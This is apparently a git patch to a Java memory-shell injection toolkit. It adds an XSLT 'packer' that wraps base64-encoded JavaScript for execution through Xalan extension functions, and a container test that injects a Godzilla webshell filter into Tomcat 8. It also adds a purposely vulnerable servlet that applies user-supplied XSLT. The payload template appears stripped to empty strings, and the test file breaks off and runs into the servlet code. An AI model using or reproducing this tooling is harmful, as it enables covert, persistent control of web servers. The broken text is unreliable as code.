From ceb8e3ddb4c9775fb7561cbb6ab409f8721c40fb Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 30 Aug 2026 17:40:18 +0800 Subject: [PATCH] feat: add XSLT packer --- .../javaweb/integration/ShellAssertion.java | 1 + .../tomcat/Tomcat8XSLTContainerTest.java | 58 +++++++++++++++++++ .../com/reajason/javaweb/packer/Packers.java | 8 +++ .../javaweb/packer/xslt/XSLTPacker.java | 10 ++++ .../packer/xslt/XSLTScriptEnginePacker.java | 41 +++++++++++++ .../javaweb/packer/xslt/XSLTPackerTest.java | 33 +++++++++++ vul/vul-webapp/src/main/java/XSLTServlet.java | 29 ++++++++++ .../src/main/webapp/WEB-INF/web.xml | 9 +++ 8 files changed, 189 insertions(+) create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8XSLTContainerTest.java create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTPacker.java create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTScriptEnginePacker.java create mode 100644 packer/src/test/java/com/reajason/javaweb/packer/xslt/XSLTPackerTest.java create mode 100644 vul/vul-webapp/src/main/java/XSLTServlet.java diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index fb0c8005..35ac9ed0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -445,6 +445,7 @@ public class ShellAssertion { case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content); case GroovyTransformJar -> VulTool.postIsOk(url + "/fastjson", content); case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content); + case XSLT, XSLTScriptEngine -> VulTool.postIsOk(url + "/xslt", content); case Base64 -> VulTool.postIsOk(url + "/b64", content); case BigInteger -> VulTool.postIsOk(url + "/biginteger", content); case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8XSLTContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8XSLTContainerTest.java new file mode 100644 index 00000000..42ffaa57 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8XSLTContainerTest.java @@ -0,0 +1,58 @@ +package com.reajason.javaweb.integration.memshell.tomcat; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2026/8/30 + */ +@Slf4j +@Testcontainers +public class Tomcat8XSLTContainerTest { + public static final String imageName = "tomcat:8-jre8"; + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XSLTScriptEngine) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}-xslt|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index 24846dfd..55f0efd8 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -53,6 +53,8 @@ import com.reajason.javaweb.packer.velocity.VelocityPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker; +import com.reajason.javaweb.packer.xslt.XSLTPacker; +import com.reajason.javaweb.packer.xslt.XSLTScriptEnginePacker; import com.reajason.javaweb.packer.xxljob.XxlJobHessianPacker; import com.reajason.javaweb.packer.xxljob.XxlJobJsonPacker; import com.reajason.javaweb.packer.xxljob.XxlJobPacker; @@ -154,6 +156,12 @@ public enum Packers { XMLDecoderScriptEngine(new XMLDecoderScriptEnginePacker(), XMLDecoderPacker.class), XMLDecoderDefineClass(new XMLDecoderDefineClassPacker(), XMLDecoderPacker.class), + /** + * XSLT 打包器 + */ + XSLT(new XSLTPacker()), + XSLTScriptEngine(new XSLTScriptEnginePacker(), XSLTPacker.class), + /** * Java 反序列化打包器 */ diff --git a/packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTPacker.java new file mode 100644 index 00000000..759ba65a --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTPacker.java @@ -0,0 +1,10 @@ +package com.reajason.javaweb.packer.xslt; + +import com.reajason.javaweb.packer.AggregatePacker; + +/** + * @author ReaJason + * @since 2026/8/30 + */ +public class XSLTPacker implements AggregatePacker { +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTScriptEnginePacker.java new file mode 100644 index 00000000..1d1e33b2 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTScriptEnginePacker.java @@ -0,0 +1,41 @@ +package com.reajason.javaweb.packer.xslt; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; + +/** + * JDK 1.6 ~ 1.8 XSLT payload (Xalan Java extension functions): decodes the + * JavaScript payload with javax.xml.bind.DatatypeConverter (bundled since JDK6, + * removed in JDK11) and evaluates it through the built-in ScriptEngineManager + * js engine (Rhino on JDK 1.6/1.7, Nashorn on JDK 1.8). + * + * @author ReaJason + * @since 2026/8/30 + */ +public class XSLTScriptEnginePacker implements Packer { + String template = "" + + "" + + "" + + "" + + "" + + "" + + "" + + "" + + ""; + + @Override + public String pack(ClassPackerConfig config) { + String js = Packers.DefaultScriptEngine.getInstance().pack(config); + return template.replace("{{base64Str}}", + Base64.getEncoder().encodeToString(js.getBytes(StandardCharsets.UTF_8))); + } +} diff --git a/packer/src/test/java/com/reajason/javaweb/packer/xslt/XSLTPackerTest.java b/packer/src/test/java/com/reajason/javaweb/packer/xslt/XSLTPackerTest.java new file mode 100644 index 00000000..a239e591 --- /dev/null +++ b/packer/src/test/java/com/reajason/javaweb/packer/xslt/XSLTPackerTest.java @@ -0,0 +1,33 @@ +package com.reajason.javaweb.packer.xslt; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import org.junit.jupiter.api.Test; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; + +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; + +class XSLTPackerTest { + + private static ClassPackerConfig config(String className) { + ClassPackerConfig config = new ClassPackerConfig(); + byte[] classBytes = "hello".getBytes(StandardCharsets.UTF_8); + config.setClassName(className); + config.setClassBytes(classBytes); + config.setClassBytesBase64Str(Base64.getEncoder().encodeToString(classBytes)); + return config; + } + + @Test + void packScriptEngine() { + String payload = new XSLTScriptEnginePacker().pack(config("com.example.Test")); + + assertTrue(payload.startsWith("")), + new StreamResult(resp.getWriter())); + } catch (Exception e) { + throw new RuntimeException(e); + } + } +} diff --git a/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml b/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml index d44e5d08..1adb9b2a 100644 --- a/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml +++ b/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml @@ -33,6 +33,15 @@ /js + + xslt + XSLTServlet + + + xslt + /xslt + + java-deserialize JavaReadObjServlet